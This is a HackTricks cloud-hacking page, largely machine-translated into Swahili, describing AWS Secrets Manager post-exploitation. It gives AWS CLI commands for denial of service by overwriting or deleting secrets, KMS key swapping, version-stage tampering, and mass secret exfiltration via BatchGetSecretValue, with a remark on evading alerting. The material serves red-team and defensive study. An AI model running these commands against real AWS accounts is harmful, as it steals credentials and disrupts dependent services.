AWS - Secrets Manager Post Exploitation
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Secrets Manager
For more information check:
Soma Secrets
The Secrets zenyewe ni taarifa nyeti, angalia ukurasa wa privesc ili ujifunze jinsi ya kuvisoma.
DoS Badilisha Thamani ya secret
Kubadilisha thamani ya secret kunaweza kusababisha DoS kwa mifumo yote inayotegemea thamani hiyo.
warning
Kumbuka kwamba thamani za awali pia zinahifadhiwa, kwa hivyo ni rahisi kurudi tu kwenye thamani ya awali.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Iwapo mshambuliaji ana ruhusa secretsmanager:UpdateSecret, anaweza kusanidi secret itumie KMS key inayomilikiwa na mshambuliaji. Kifunguo hicho kimeanzishwa kwa njia kwamba mtu yeyote anaweza kuifikia na kuitumia, hivyo inawezekana kusasisha secret kwa kutumia key mpya. Ikiwa key haikuwa inapatikana, secret haingeweza kusasishwa.
Baada ya kubadilisha key ya secret, mshambuliaji anabadilisha usanidi wa key yao ili wao pekee waweze kuiingiza. Kwa njia hii, katika matoleo yafuatayo ya secret, itakuwa imesimbwa kwa key mpya, na kwa kuwa hakuna upatikanaji wa key hiyo, uwezo wa kupata secret utapotea.
Ni muhimu kutambua kwamba ukosefu huu wa upatikanaji utatokea tu katika matoleo ya baadaye, baada ya yaliyomo kwenye secret kubadilika, kwa sababu toleo la sasa bado limesimbwa kwa KMS key ya awali.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Kufuta Secret
Idadi ya chini ya siku za kufuta secret ni 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Ni inawezekana kurejesha secret, jambo linaloruhusu kurejesha secrets ambazo zimepangwa kufutwa, kwa kuwa kipindi cha chini cha kufuta secrets ni siku 7 na cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linawezesha kupata yaliyomo yao.
Ili kurejesha secret ambayo iko mchakato wa kufutwa, unaweza kutumia amri ifuatayo:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kupata secret. Hii inaweza kusababisha DoS ikiwa resource policy ilipangwa kuruhusu kupata kwa kundi maalum la watumiaji.
Ili kufuta resource policy:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Hali za siri zinatumika kusimamia matoleo ya siri. AWSCURRENT inaashiria toleo la aktifu ambalo applications zinatumia, AWSPREVIOUS huhifadhi toleo la awali ili uweze kurudi nyuma ikiwa ni lazima, na AWSPENDING inatumiwa katika mchakato wa mzunguko kuandaa na kuthibitisha toleo jipya kabla ya kulitangaza kuwa toleo la sasa.
Applications kila wakati husoma toleo lenye lebo AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, apps zitatumia sifa za kuingia zisizo sahihi na zinaweza kushindwa.
AWSPREVIOUS haitumiki moja kwa moja. Hata hivyo, ikiwa AWSCURRENT itaondolewa au kutolewa tena kwa njia isiyo sahihi, inaweza kuonekana kwamba kila kitu bado kinaendelea kwa toleo la awali.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (hadi 20 kwa kila mwito)
Dhulumu API ya Secrets Manager BatchGetSecretValue ili kupata hadi 20 secrets katika ombi moja. Hii inaweza kupunguza kwa kiasi kikubwa idadi ya wito za API ikilinganishwa na kurudia GetSecretValue kwa kila secret. Ikiwa filters zinatumika (tags/name), ruhusa ya ListSecrets pia inahitajika. CloudTrail bado inarekodi tukio moja la GetSecretValue kwa kila secret inayopatikana katika batch.
Ruhusa zinazohitajika
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue kwa kila secret inayolengwa
- secretsmanager:ListSecrets endapo unatumia --filters
- kms:Decrypt kwenye CMKs zinazotumika na secrets (ikiwa haujatumia aws/secretsmanager)
warning
Kumbuka kwamba ruhusa secretsmanager:BatchGetSecretValue haitoshi kupata secrets; pia unahitaji secretsmanager:GetSecretValue kwa kila secret unayotaka kupata.
Exfiltrate kwa orodha wazi
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrate kwa kutumia vichujio (tag key/value au name prefix)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Kushughulikia kushindwa kwa sehemu
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Athari
- Haraka “smash-and-grab” ya secrets nyingi kwa kutumia API calls chache, ambayo inaweza kupitisha alerting iliyolengwa kwa kuongezeka kwa GetSecretValue.
- CloudTrail logs bado zinajumuisha tukio moja la GetSecretValue kwa kila secret iliyopatikana na batch.
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud